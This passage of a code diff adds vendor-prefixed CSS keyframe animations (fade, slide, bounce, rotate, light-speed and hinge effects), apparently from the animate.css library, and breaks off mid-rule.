fadeOutRightBig { + 0% { + opacity: 1; + -o-transform: translateX(0); + } + + 100% { + opacity: 0; + -o-transform: translateX(2000px); + } +} +@keyframes fadeOutRightBig { + 0% { + opacity: 1; + transform: translateX(0); + } + + 100% { + opacity: 0; + transform: translateX(2000px); + } +} + +.fadeOutRightBig { + -webkit-animation-name: fadeOutRightBig; + -moz-animation-name: fadeOutRightBig; + -o-animation-name: fadeOutRightBig; + animation-name: fadeOutRightBig; +} +@-webkit-keyframes slideInDown { + 0% { + opacity: 0; + -webkit-transform: translateY(-2000px); + } + + 100% { + -webkit-transform: translateY(0); + } +} + +@-moz-keyframes slideInDown { + 0% { + opacity: 0; + -moz-transform: translateY(-2000px); + } + + 100% { + -moz-transform: translateY(0); + } +} + +@-o-keyframes slideInDown { + 0% { + opacity: 0; + -o-transform: translateY(-2000px); + } + + 100% { + -o-transform: translateY(0); + } +} + +@keyframes slideInDown { + 0% { + opacity: 0; + transform: translateY(-2000px); + } + + 100% { + transform: translateY(0); + } +} + +.slideInDown { + -webkit-animation-name: slideInDown; + -moz-animation-name: slideInDown; + -o-animation-name: slideInDown; + animation-name: slideInDown; +} +@-webkit-keyframes slideInLeft { + 0% { + opacity: 0; + -webkit-transform: translateX(-2000px); + } + + 100% { + -webkit-transform: translateX(0); + } +} + +@-moz-keyframes slideInLeft { + 0% { + opacity: 0; + -moz-transform: translateX(-2000px); + } + + 100% { + -moz-transform: translateX(0); + } +} + +@-o-keyframes slideInLeft { + 0% { + opacity: 0; + -o-transform: translateX(-2000px); + } + + 100% { + -o-transform: translateX(0); + } +} + +@keyframes slideInLeft { + 0% { + opacity: 0; + transform: translateX(-2000px); + } + + 100% { + transform: translateX(0); + } +} + +.slideInLeft { + -webkit-animation-name: slideInLeft; + -moz-animation-name: slideInLeft; + -o-animation-name: slideInLeft; + animation-name: slideInLeft; +} +@-webkit-keyframes slideInRight { + 0% { + opacity: 0; + -webkit-transform: translateX(2000px); + } + + 100% { + -webkit-transform: translateX(0); + } +} + +@-moz-keyframes slideInRight { + 0% { + opacity: 0; + -moz-transform: translateX(2000px); + } + + 100% { + -moz-transform: translateX(0); + } +} + +@-o-keyframes slideInRight { + 0% { + opacity: 0; + -o-transform: translateX(2000px); + } + + 100% { + -o-transform: translateX(0); + } +} + +@keyframes slideInRight { + 0% { + opacity: 0; + transform: translateX(2000px); + } + + 100% { + transform: translateX(0); + } +} + +.slideInRight { + -webkit-animation-name: slideInRight; + -moz-animation-name: slideInRight; + -o-animation-name: slideInRight; + animation-name: slideInRight; +} +@-webkit-keyframes slideOutUp { + 0% { + -webkit-transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(-2000px); + } +} + +@-moz-keyframes slideOutUp { + 0% { + -moz-transform: translateY(0); + } + + 100% { + opacity: 0; + -moz-transform: translateY(-2000px); + } +} + +@-o-keyframes slideOutUp { + 0% { + -o-transform: translateY(0); + } + + 100% { + opacity: 0; + -o-transform: translateY(-2000px); + } +} + +@keyframes slideOutUp { + 0% { + transform: translateY(0); + } + + 100% { + opacity: 0; + transform: translateY(-2000px); + } +} + +.slideOutUp { + -webkit-animation-name: slideOutUp; + -moz-animation-name: slideOutUp; + -o-animation-name: slideOutUp; + animation-name: slideOutUp; +} +@-webkit-keyframes slideOutLeft { + 0% { + -webkit-transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(-2000px); + } +} + +@-moz-keyframes slideOutLeft { + 0% { + -moz-transform: translateX(0); + } + + 100% { + opacity: 0; + -moz-transform: translateX(-2000px); + } +} + +@-o-keyframes slideOutLeft { + 0% { + -o-transform: translateX(0); + } + + 100% { + opacity: 0; + -o-transform: translateX(-2000px); + } +} + +@keyframes slideOutLeft { + 0% { + transform: translateX(0); + } + + 100% { + opacity: 0; + transform: translateX(-2000px); + } +} + +.slideOutLeft { + -webkit-animation-name: slideOutLeft; + -moz-animation-name: slideOutLeft; + -o-animation-name: slideOutLeft; + animation-name: slideOutLeft; +} +@-webkit-keyframes slideOutRight { + 0% { + -webkit-transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(2000px); + } +} + +@-moz-keyframes slideOutRight { + 0% { + -moz-transform: translateX(0); + } + + 100% { + opacity: 0; + -moz-transform: translateX(2000px); + } +} + +@-o-keyframes slideOutRight { + 0% { + -o-transform: translateX(0); + } + + 100% { + opacity: 0; + -o-transform: translateX(2000px); + } +} + +@keyframes slideOutRight { + 0% { + transform: translateX(0); + } + + 100% { + opacity: 0; + transform: translateX(2000px); + } +} + +.slideOutRight { + -webkit-animation-name: slideOutRight; + -moz-animation-name: slideOutRight; + -o-animation-name: slideOutRight; + animation-name: slideOutRight; +} +@-webkit-keyframes bounceIn { + 0% { + opacity: 0; + -webkit-transform: scale(.3); + } + + 50% { + opacity: 1; + -webkit-transform: scale(1.05); + } + + 70% { + -webkit-transform: scale(.9); + } + + 100% { + -webkit-transform: scale(1); + } +} + +@-moz-keyframes bounceIn { + 0% { + opacity: 0; + -moz-transform: scale(.3); + } + + 50% { + opacity: 1; + -moz-transform: scale(1.05); + } + + 70% { + -moz-transform: scale(.9); + } + + 100% { + -moz-transform: scale(1); + } +} + +@-o-keyframes bounceIn { + 0% { + opacity: 0; + -o-transform: scale(.3); + } + + 50% { + opacity: 1; + -o-transform: scale(1.05); + } + + 70% { + -o-transform: scale(.9); + } + + 100% { + -o-transform: scale(1); + } +} + +@keyframes bounceIn { + 0% { + opacity: 0; + transform: scale(.3); + } + + 50% { + opacity: 1; + transform: scale(1.05); + } + + 70% { + transform: scale(.9); + } + + 100% { + transform: scale(1); + } +} + +.bounceIn { + -webkit-animation-name: bounceIn; + -moz-animation-name: bounceIn; + -o-animation-name: bounceIn; + animation-name: bounceIn; +} +@-webkit-keyframes bounceInUp { + 0% { + opacity: 0; + -webkit-transform: translateY(2000px); + } + + 60% { + opacity: 1; + -webkit-transform: translateY(-30px); + } + + 80% { + -webkit-transform: translateY(10px); + } + + 100% { + -webkit-transform: translateY(0); + } +} +@-moz-keyframes bounceInUp { + 0% { + opacity: 0; + -moz-transform: translateY(2000px); + } + + 60% { + opacity: 1; + -moz-transform: translateY(-30px); + } + + 80% { + -moz-transform: translateY(10px); + } + + 100% { + -moz-transform: translateY(0); + } +} + +@-o-keyframes bounceInUp { + 0% { + opacity: 0; + -o-transform: translateY(2000px); + } + + 60% { + opacity: 1; + -o-transform: translateY(-30px); + } + + 80% { + -o-transform: translateY(10px); + } + + 100% { + -o-transform: translateY(0); + } +} + +@keyframes bounceInUp { + 0% { + opacity: 0; + transform: translateY(2000px); + } + + 60% { + opacity: 1; + transform: translateY(-30px); + } + + 80% { + transform: translateY(10px); + } + + 100% { + transform: translateY(0); + } +} + +.bounceInUp { + -webkit-animation-name: bounceInUp; + -moz-animation-name: bounceInUp; + -o-animation-name: bounceInUp; + animation-name: bounceInUp; +} +@-webkit-keyframes bounceInDown { + 0% { + opacity: 0; + -webkit-transform: translateY(-2000px); + } + + 60% { + opacity: 1; + -webkit-transform: translateY(30px); + } + + 80% { + -webkit-transform: translateY(-10px); + } + + 100% { + -webkit-transform: translateY(0); + } +} + +@-moz-keyframes bounceInDown { + 0% { + opacity: 0; + -moz-transform: translateY(-2000px); + } + + 60% { + opacity: 1; + -moz-transform: translateY(30px); + } + + 80% { + -moz-transform: translateY(-10px); + } + + 100% { + -moz-transform: translateY(0); + } +} + +@-o-keyframes bounceInDown { + 0% { + opacity: 0; + -o-transform: translateY(-2000px); + } + + 60% { + opacity: 1; + -o-transform: translateY(30px); + } + + 80% { + -o-transform: translateY(-10px); + } + + 100% { + -o-transform: translateY(0); + } +} + +@keyframes bounceInDown { + 0% { + opacity: 0; + transform: translateY(-2000px); + } + + 60% { + opacity: 1; + transform: translateY(30px); + } + + 80% { + transform: translateY(-10px); + } + + 100% { + transform: translateY(0); + } +} + +.bounceInDown { + -webkit-animation-name: bounceInDown; + -moz-animation-name: bounceInDown; + -o-animation-name: bounceInDown; + animation-name: bounceInDown; +} +@-webkit-keyframes bounceInLeft { + 0% { + opacity: 0; + -webkit-transform: translateX(-2000px); + } + + 60% { + opacity: 1; + -webkit-transform: translateX(30px); + } + + 80% { + -webkit-transform: translateX(-10px); + } + + 100% { + -webkit-transform: translateX(0); + } +} + +@-moz-keyframes bounceInLeft { + 0% { + opacity: 0; + -moz-transform: translateX(-2000px); + } + + 60% { + opacity: 1; + -moz-transform: translateX(30px); + } + + 80% { + -moz-transform: translateX(-10px); + } + + 100% { + -moz-transform: translateX(0); + } +} + +@-o-keyframes bounceInLeft { + 0% { + opacity: 0; + -o-transform: translateX(-2000px); + } + + 60% { + opacity: 1; + -o-transform: translateX(30px); + } + + 80% { + -o-transform: translateX(-10px); + } + + 100% { + -o-transform: translateX(0); + } +} + +@keyframes bounceInLeft { + 0% { + opacity: 0; + transform: translateX(-2000px); + } + + 60% { + opacity: 1; + transform: translateX(30px); + } + + 80% { + transform: translateX(-10px); + } + + 100% { + transform: translateX(0); + } +} + +.bounceInLeft { + -webkit-animation-name: bounceInLeft; + -moz-animation-name: bounceInLeft; + -o-animation-name: bounceInLeft; + animation-name: bounceInLeft; +} +@-webkit-keyframes bounceInRight { + 0% { + opacity: 0; + -webkit-transform: translateX(2000px); + } + + 60% { + opacity: 1; + -webkit-transform: translateX(-30px); + } + + 80% { + -webkit-transform: translateX(10px); + } + + 100% { + -webkit-transform: translateX(0); + } +} + +@-moz-keyframes bounceInRight { + 0% { + opacity: 0; + -moz-transform: translateX(2000px); + } + + 60% { + opacity: 1; + -moz-transform: translateX(-30px); + } + + 80% { + -moz-transform: translateX(10px); + } + + 100% { + -moz-transform: translateX(0); + } +} + +@-o-keyframes bounceInRight { + 0% { + opacity: 0; + -o-transform: translateX(2000px); + } + + 60% { + opacity: 1; + -o-transform: translateX(-30px); + } + + 80% { + -o-transform: translateX(10px); + } + + 100% { + -o-transform: translateX(0); + } +} + +@keyframes bounceInRight { + 0% { + opacity: 0; + transform: translateX(2000px); + } + + 60% { + opacity: 1; + transform: translateX(-30px); + } + + 80% { + transform: translateX(10px); + } + + 100% { + transform: translateX(0); + } +} + +.bounceInRight { + -webkit-animation-name: bounceInRight; + -moz-animation-name: bounceInRight; + -o-animation-name: bounceInRight; + animation-name: bounceInRight; +} +@-webkit-keyframes bounceOut { + 0% { + -webkit-transform: scale(1); + } + + 25% { + -webkit-transform: scale(.95); + } + + 50% { + opacity: 1; + -webkit-transform: scale(1.1); + } + + 100% { + opacity: 0; + -webkit-transform: scale(.3); + } +} + +@-moz-keyframes bounceOut { + 0% { + -moz-transform: scale(1); + } + + 25% { + -moz-transform: scale(.95); + } + + 50% { + opacity: 1; + -moz-transform: scale(1.1); + } + + 100% { + opacity: 0; + -moz-transform: scale(.3); + } +} + +@-o-keyframes bounceOut { + 0% { + -o-transform: scale(1); + } + + 25% { + -o-transform: scale(.95); + } + + 50% { + opacity: 1; + -o-transform: scale(1.1); + } + + 100% { + opacity: 0; + -o-transform: scale(.3); + } +} + +@keyframes bounceOut { + 0% { + transform: scale(1); + } + + 25% { + transform: scale(.95); + } + + 50% { + opacity: 1; + transform: scale(1.1); + } + + 100% { + opacity: 0; + transform: scale(.3); + } +} + +.bounceOut { + -webkit-animation-name: bounceOut; + -moz-animation-name: bounceOut; + -o-animation-name: bounceOut; + animation-name: bounceOut; +} +@-webkit-keyframes bounceOutUp { + 0% { + -webkit-transform: translateY(0); + } + + 20% { + opacity: 1; + -webkit-transform: translateY(20px); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(-2000px); + } +} + +@-moz-keyframes bounceOutUp { + 0% { + -moz-transform: translateY(0); + } + + 20% { + opacity: 1; + -moz-transform: translateY(20px); + } + + 100% { + opacity: 0; + -moz-transform: translateY(-2000px); + } +} + +@-o-keyframes bounceOutUp { + 0% { + -o-transform: translateY(0); + } + + 20% { + opacity: 1; + -o-transform: translateY(20px); + } + + 100% { + opacity: 0; + -o-transform: translateY(-2000px); + } +} + +@keyframes bounceOutUp { + 0% { + transform: translateY(0); + } + + 20% { + opacity: 1; + transform: translateY(20px); + } + + 100% { + opacity: 0; + transform: translateY(-2000px); + } +} + +.bounceOutUp { + -webkit-animation-name: bounceOutUp; + -moz-animation-name: bounceOutUp; + -o-animation-name: bounceOutUp; + animation-name: bounceOutUp; +} +@-webkit-keyframes bounceOutDown { + 0% { + -webkit-transform: translateY(0); + } + + 20% { + opacity: 1; + -webkit-transform: translateY(-20px); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(2000px); + } +} + +@-moz-keyframes bounceOutDown { + 0% { + -moz-transform: translateY(0); + } + + 20% { + opacity: 1; + -moz-transform: translateY(-20px); + } + + 100% { + opacity: 0; + -moz-transform: translateY(2000px); + } +} + +@-o-keyframes bounceOutDown { + 0% { + -o-transform: translateY(0); + } + + 20% { + opacity: 1; + -o-transform: translateY(-20px); + } + + 100% { + opacity: 0; + -o-transform: translateY(2000px); + } +} + +@keyframes bounceOutDown { + 0% { + transform: translateY(0); + } + + 20% { + opacity: 1; + transform: translateY(-20px); + } + + 100% { + opacity: 0; + transform: translateY(2000px); + } +} + +.bounceOutDown { + -webkit-animation-name: bounceOutDown; + -moz-animation-name: bounceOutDown; + -o-animation-name: bounceOutDown; + animation-name: bounceOutDown; +} +@-webkit-keyframes bounceOutLeft { + 0% { + -webkit-transform: translateX(0); + } + + 20% { + opacity: 1; + -webkit-transform: translateX(20px); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(-2000px); + } +} + +@-moz-keyframes bounceOutLeft { + 0% { + -moz-transform: translateX(0); + } + + 20% { + opacity: 1; + -moz-transform: translateX(20px); + } + + 100% { + opacity: 0; + -moz-transform: translateX(-2000px); + } +} + +@-o-keyframes bounceOutLeft { + 0% { + -o-transform: translateX(0); + } + + 20% { + opacity: 1; + -o-transform: translateX(20px); + } + + 100% { + opacity: 0; + -o-transform: translateX(-2000px); + } +} + +@keyframes bounceOutLeft { + 0% { + transform: translateX(0); + } + + 20% { + opacity: 1; + transform: translateX(20px); + } + + 100% { + opacity: 0; + transform: translateX(-2000px); + } +} + +.bounceOutLeft { + -webkit-animation-name: bounceOutLeft; + -moz-animation-name: bounceOutLeft; + -o-animation-name: bounceOutLeft; + animation-name: bounceOutLeft; +} +@-webkit-keyframes bounceOutRight { + 0% { + -webkit-transform: translateX(0); + } + + 20% { + opacity: 1; + -webkit-transform: translateX(-20px); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(2000px); + } +} + +@-moz-keyframes bounceOutRight { + 0% { + -moz-transform: translateX(0); + } + + 20% { + opacity: 1; + -moz-transform: translateX(-20px); + } + + 100% { + opacity: 0; + -moz-transform: translateX(2000px); + } +} + +@-o-keyframes bounceOutRight { + 0% { + -o-transform: translateX(0); + } + + 20% { + opacity: 1; + -o-transform: translateX(-20px); + } + + 100% { + opacity: 0; + -o-transform: translateX(2000px); + } +} + +@keyframes bounceOutRight { + 0% { + transform: translateX(0); + } + + 20% { + opacity: 1; + transform: translateX(-20px); + } + + 100% { + opacity: 0; + transform: translateX(2000px); + } +} + +.bounceOutRight { + -webkit-animation-name: bounceOutRight; + -moz-animation-name: bounceOutRight; + -o-animation-name: bounceOutRight; + animation-name: bounceOutRight; +} +@-webkit-keyframes rotateIn { + 0% { + -webkit-transform-origin: center center; + -webkit-transform: rotate(-200deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: center center; + -webkit-transform: rotate(0); + opacity: 1; + } +} +@-moz-keyframes rotateIn { + 0% { + -moz-transform-origin: center center; + -moz-transform: rotate(-200deg); + opacity: 0; + } + + 100% { + -moz-transform-origin: center center; + -moz-transform: rotate(0); + opacity: 1; + } +} +@-o-keyframes rotateIn { + 0% { + -o-transform-origin: center center; + -o-transform: rotate(-200deg); + opacity: 0; + } + + 100% { + -o-transform-origin: center center; + -o-transform: rotate(0); + opacity: 1; + } +} +@keyframes rotateIn { + 0% { + transform-origin: center center; + transform: rotate(-200deg); + opacity: 0; + } + + 100% { + transform-origin: center center; + transform: rotate(0); + opacity: 1; + } +} + +.rotateIn { + -webkit-animation-name: rotateIn; + -moz-animation-name: rotateIn; + -o-animation-name: rotateIn; + animation-name: rotateIn; +} +@-webkit-keyframes rotateInUpLeft { + 0% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(90deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(0); + opacity: 1; + } +} + +@-moz-keyframes rotateInUpLeft { + 0% { + -moz-transform-origin: left bottom; + -moz-transform: rotate(90deg); + opacity: 0; + } + + 100% { + -moz-transform-origin: left bottom; + -moz-transform: rotate(0); + opacity: 1; + } +} + +@-o-keyframes rotateInUpLeft { + 0% { + -o-transform-origin: left bottom; + -o-transform: rotate(90deg); + opacity: 0; + } + + 100% { + -o-transform-origin: left bottom; + -o-transform: rotate(0); + opacity: 1; + } +} + +@keyframes rotateInUpLeft { + 0% { + transform-origin: left bottom; + transform: rotate(90deg); + opacity: 0; + } + + 100% { + transform-origin: left bottom; + transform: rotate(0); + opacity: 1; + } +} + +.rotateInUpLeft { + -webkit-animation-name: rotateInUpLeft; + -moz-animation-name: rotateInUpLeft; + -o-animation-name: rotateInUpLeft; + animation-name: rotateInUpLeft; +} +@-webkit-keyframes rotateInDownLeft { + 0% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(-90deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(0); + opacity: 1; + } +} + +@-moz-keyframes rotateInDownLeft { + 0% { + -moz-transform-origin: left bottom; + -moz-transform: rotate(-90deg); + opacity: 0; + } + + 100% { + -moz-transform-origin: left bottom; + -moz-transform: rotate(0); + opacity: 1; + } +} + +@-o-keyframes rotateInDownLeft { + 0% { + -o-transform-origin: left bottom; + -o-transform: rotate(-90deg); + opacity: 0; + } + + 100% { + -o-transform-origin: left bottom; + -o-transform: rotate(0); + opacity: 1; + } +} + +@keyframes rotateInDownLeft { + 0% { + transform-origin: left bottom; + transform: rotate(-90deg); + opacity: 0; + } + + 100% { + transform-origin: left bottom; + transform: rotate(0); + opacity: 1; + } +} + +.rotateInDownLeft { + -webkit-animation-name: rotateInDownLeft; + -moz-animation-name: rotateInDownLeft; + -o-animation-name: rotateInDownLeft; + animation-name: rotateInDownLeft; +} +@-webkit-keyframes rotateInUpRight { + 0% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(-90deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(0); + opacity: 1; + } +} + +@-moz-keyframes rotateInUpRight { + 0% { + -moz-transform-origin: right bottom; + -moz-transform: rotate(-90deg); + opacity: 0; + } + + 100% { + -moz-transform-origin: right bottom; + -moz-transform: rotate(0); + opacity: 1; + } +} + +@-o-keyframes rotateInUpRight { + 0% { + -o-transform-origin: right bottom; + -o-transform: rotate(-90deg); + opacity: 0; + } + + 100% { + -o-transform-origin: right bottom; + -o-transform: rotate(0); + opacity: 1; + } +} + +@keyframes rotateInUpRight { + 0% { + transform-origin: right bottom; + transform: rotate(-90deg); + opacity: 0; + } + + 100% { + transform-origin: right bottom; + transform: rotate(0); + opacity: 1; + } +} + +.rotateInUpRight { + -webkit-animation-name: rotateInUpRight; + -moz-animation-name: rotateInUpRight; + -o-animation-name: rotateInUpRight; + animation-name: rotateInUpRight; +} +@-webkit-keyframes rotateInDownRight { + 0% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(90deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(0); + opacity: 1; + } +} + +@-moz-keyframes rotateInDownRight { + 0% { + -moz-transform-origin: right bottom; + -moz-transform: rotate(90deg); + opacity: 0; + } + + 100% { + -moz-transform-origin: right bottom; + -moz-transform: rotate(0); + opacity: 1; + } +} + +@-o-keyframes rotateInDownRight { + 0% { + -o-transform-origin: right bottom; + -o-transform: rotate(90deg); + opacity: 0; + } + + 100% { + -o-transform-origin: right bottom; + -o-transform: rotate(0); + opacity: 1; + } +} + +@keyframes rotateInDownRight { + 0% { + transform-origin: right bottom; + transform: rotate(90deg); + opacity: 0; + } + + 100% { + transform-origin: right bottom; + transform: rotate(0); + opacity: 1; + } +} + +.rotateInDownRight { + -webkit-animation-name: rotateInDownRight; + -moz-animation-name: rotateInDownRight; + -o-animation-name: rotateInDownRight; + animation-name: rotateInDownRight; +} +@-webkit-keyframes rotateOut { + 0% { + -webkit-transform-origin: center center; + -webkit-transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: center center; + -webkit-transform: rotate(200deg); + opacity: 0; + } +} + +@-moz-keyframes rotateOut { + 0% { + -moz-transform-origin: center center; + -moz-transform: rotate(0); + opacity: 1; + } + + 100% { + -moz-transform-origin: center center; + -moz-transform: rotate(200deg); + opacity: 0; + } +} + +@-o-keyframes rotateOut { + 0% { + -o-transform-origin: center center; + -o-transform: rotate(0); + opacity: 1; + } + + 100% { + -o-transform-origin: center center; + -o-transform: rotate(200deg); + opacity: 0; + } +} + +@keyframes rotateOut { + 0% { + transform-origin: center center; + transform: rotate(0); + opacity: 1; + } + + 100% { + transform-origin: center center; + transform: rotate(200deg); + opacity: 0; + } +} + +.rotateOut { + -webkit-animation-name: rotateOut; + -moz-animation-name: rotateOut; + -o-animation-name: rotateOut; + animation-name: rotateOut; +} +@-webkit-keyframes rotateOutUpLeft { + 0% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(-90deg); + opacity: 0; + } +} + +@-moz-keyframes rotateOutUpLeft { + 0% { + -moz-transform-origin: left bottom; + -moz-transform: rotate(0); + opacity: 1; + } + + 100% { + -moz-transform-origin: left bottom; + -moz-transform: rotate(-90deg); + opacity: 0; + } +} + +@-o-keyframes rotateOutUpLeft { + 0% { + -o-transform-origin: left bottom; + -o-transform: rotate(0); + opacity: 1; + } + + 100% { + -o-transform-origin: left bottom; + -o-transform: rotate(-90deg); + opacity: 0; + } +} + +@keyframes rotateOutUpLeft { + 0% { + transform-origin: left bottom; + transform: rotate(0); + opacity: 1; + } + + 100% { + -transform-origin: left bottom; + -transform: rotate(-90deg); + opacity: 0; + } +} + +.rotateOutUpLeft { + -webkit-animation-name: rotateOutUpLeft; + -moz-animation-name: rotateOutUpLeft; + -o-animation-name: rotateOutUpLeft; + animation-name: rotateOutUpLeft; +} +@-webkit-keyframes rotateOutDownLeft { + 0% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(90deg); + opacity: 0; + } +} + +@-moz-keyframes rotateOutDownLeft { + 0% { + -moz-transform-origin: left bottom; + -moz-transform: rotate(0); + opacity: 1; + } + + 100% { + -moz-transform-origin: left bottom; + -moz-transform: rotate(90deg); + opacity: 0; + } +} + +@-o-keyframes rotateOutDownLeft { + 0% { + -o-transform-origin: left bottom; + -o-transform: rotate(0); + opacity: 1; + } + + 100% { + -o-transform-origin: left bottom; + -o-transform: rotate(90deg); + opacity: 0; + } +} + +@keyframes rotateOutDownLeft { + 0% { + transform-origin: left bottom; + transform: rotate(0); + opacity: 1; + } + + 100% { + transform-origin: left bottom; + transform: rotate(90deg); + opacity: 0; + } +} + +.rotateOutDownLeft { + -webkit-animation-name: rotateOutDownLeft; + -moz-animation-name: rotateOutDownLeft; + -o-animation-name: rotateOutDownLeft; + animation-name: rotateOutDownLeft; +} +@-webkit-keyframes rotateOutUpRight { + 0% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(90deg); + opacity: 0; + } +} + +@-moz-keyframes rotateOutUpRight { + 0% { + -moz-transform-origin: right bottom; + -moz-transform: rotate(0); + opacity: 1; + } + + 100% { + -moz-transform-origin: right bottom; + -moz-transform: rotate(90deg); + opacity: 0; + } +} + +@-o-keyframes rotateOutUpRight { + 0% { + -o-transform-origin: right bottom; + -o-transform: rotate(0); + opacity: 1; + } + + 100% { + -o-transform-origin: right bottom; + -o-transform: rotate(90deg); + opacity: 0; + } +} + +@keyframes rotateOutUpRight { + 0% { + transform-origin: right bottom; + transform: rotate(0); + opacity: 1; + } + + 100% { + transform-origin: right bottom; + transform: rotate(90deg); + opacity: 0; + } +} + +.rotateOutUpRight { + -webkit-animation-name: rotateOutUpRight; + -moz-animation-name: rotateOutUpRight; + -o-animation-name: rotateOutUpRight; + animation-name: rotateOutUpRight; +} +@-webkit-keyframes rotateOutDownRight { + 0% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(-90deg); + opacity: 0; + } +} + +@-moz-keyframes rotateOutDownRight { + 0% { + -moz-transform-origin: right bottom; + -moz-transform: rotate(0); + opacity: 1; + } + + 100% { + -moz-transform-origin: right bottom; + -moz-transform: rotate(-90deg); + opacity: 0; + } +} + +@-o-keyframes rotateOutDownRight { + 0% { + -o-transform-origin: right bottom; + -o-transform: rotate(0); + opacity: 1; + } + + 100% { + -o-transform-origin: right bottom; + -o-transform: rotate(-90deg); + opacity: 0; + } +} + +@keyframes rotateOutDownRight { + 0% { + transform-origin: right bottom; + transform: rotate(0); + opacity: 1; + } + + 100% { + transform-origin: right bottom; + transform: rotate(-90deg); + opacity: 0; + } +} + +.rotateOutDownRight { + -webkit-animation-name: rotateOutDownRight; + -moz-animation-name: rotateOutDownRight; + -o-animation-name: rotateOutDownRight; + animation-name: rotateOutDownRight; +} +@-webkit-keyframes lightSpeedIn { + 0% { -webkit-transform: translateX(100%) skewX(-30deg); opacity: 0; } + 60% { -webkit-transform: translateX(-20%) skewX(30deg); opacity: 1; } + 80% { -webkit-transform: translateX(0%) skewX(-15deg); opacity: 1; } + 100% { -webkit-transform: translateX(0%) skewX(0deg); opacity: 1; } +} + +@-moz-keyframes lightSpeedIn { + 0% { -moz-transform: translateX(100%) skewX(-30deg); opacity: 0; } + 60% { -moz-transform: translateX(-20%) skewX(30deg); opacity: 1; } + 80% { -moz-transform: translateX(0%) skewX(-15deg); opacity: 1; } + 100% { -moz-transform: translateX(0%) skewX(0deg); opacity: 1; } +} + +@-o-keyframes lightSpeedIn { + 0% { -o-transform: translateX(100%) skewX(-30deg); opacity: 0; } + 60% { -o-transform: translateX(-20%) skewX(30deg); opacity: 1; } + 80% { -o-transform: translateX(0%) skewX(-15deg); opacity: 1; } + 100% { -o-transform: translateX(0%) skewX(0deg); opacity: 1; } +} + +@keyframes lightSpeedIn { + 0% { transform: translateX(100%) skewX(-30deg); opacity: 0; } + 60% { transform: translateX(-20%) skewX(30deg); opacity: 1; } + 80% { transform: translateX(0%) skewX(-15deg); opacity: 1; } + 100% { transform: translateX(0%) skewX(0deg); opacity: 1; } +} + +.lightSpeedIn { + -webkit-animation-name: lightSpeedIn; + -moz-animation-name: lightSpeedIn; + -o-animation-name: lightSpeedIn; + animation-name: lightSpeedIn; + + -webkit-animation-timing-function: ease-out; + -moz-animation-timing-function: ease-out; + -o-animation-timing-function: ease-out; + animation-timing-function: ease-out; +} +@-webkit-keyframes lightSpeedOut { + 0% { -webkit-transform: translateX(0%) skewX(0deg); opacity: 1; } + 100% { -webkit-transform: translateX(100%) skewX(-30deg); opacity: 0; } +} + +@-moz-keyframes lightSpeedOut { + 0% { -moz-transform: translateX(0%) skewX(0deg); opacity: 1; } + 100% { -moz-transform: translateX(100%) skewX(-30deg); opacity: 0; } +} + +@-o-keyframes lightSpeedOut { + 0% { -o-transform: translateX(0%) skewX(0deg); opacity: 1; } + 100% { -o-transform: translateX(100%) skewX(-30deg); opacity: 0; } +} + +@keyframes lightSpeedOut { + 0% { transform: translateX(0%) skewX(0deg); opacity: 1; } + 100% { transform: translateX(100%) skewX(-30deg); opacity: 0; } +} + +.lightSpeedOut { + -webkit-animation-name: lightSpeedOut; + -moz-animation-name: lightSpeedOut; + -o-animation-name: lightSpeedOut; + animation-name: lightSpeedOut; + + -webkit-animation-timing-function: ease-in; + -moz-animation-timing-function: ease-in; + -o-animation-timing-function: ease-in; + animation-timing-function: ease-in; +} +@-webkit-keyframes hinge { + 0% { -webkit-transform: rotate(0); -webkit-transform-origin: top left; -webkit-animation-timing-function: ease-in-out; } + 20%, 60% { -webkit-transform: rotate(80deg); -webkit-transform-origin: top left; -webkit-animation-timing-function: ease-in-out; } + 40% { -webkit-transform: rotate(60deg); -webkit-transform-origin: top left; -webkit-animation-timing-function: ease-in-out; } + 80% { -webkit-transform: rotate(60deg) translateY(0); opacity: 1; -webkit-transform-origin: top left; -webkit-animation-timing-function: ease-in-out; } + 100% { -webkit-transform: translateY(700px); opacity: 0; } +} + +@-moz-keyframes hinge { + 0% { -moz-transform: rotate(0); -moz-transform-origin: top left; -moz-animation-timing-function: ease-in-out; } + 20%, 60% { -moz-transform: rotate(80deg); -moz-transform-origin: top left; -moz-animation-timing-function: ease-in-out; } + 40% { -moz-transform: rotate(60deg); -moz-transform-origin: top left; -moz-animation-timing-function: ease-in-out; } + 80% { -moz-transform: rotate(60deg) translateY(0); opacity: 1; -moz-transform-origin: top left; -moz-animation-timing-function: ease-in-out; } + 100% { -moz-transform: translateY(700px); opacity: 0; } +} + +@-o-keyframes hinge { + 0% { -o-transform: rotate(0); -o-transform-origin: top left; -o-animation-timing-function: ease-in-out; } + 20%, 60% { -o-transform: rotate(80deg); -o-transform-origin: top left; -o-animation-timing-function: ease-in-out; } + 40% { -o-transform: rotate(60deg); -o-transform-origin: top left; -o-animation-timing-function: ease-in-out; } + 80% { -o-transform: rotate(60deg) 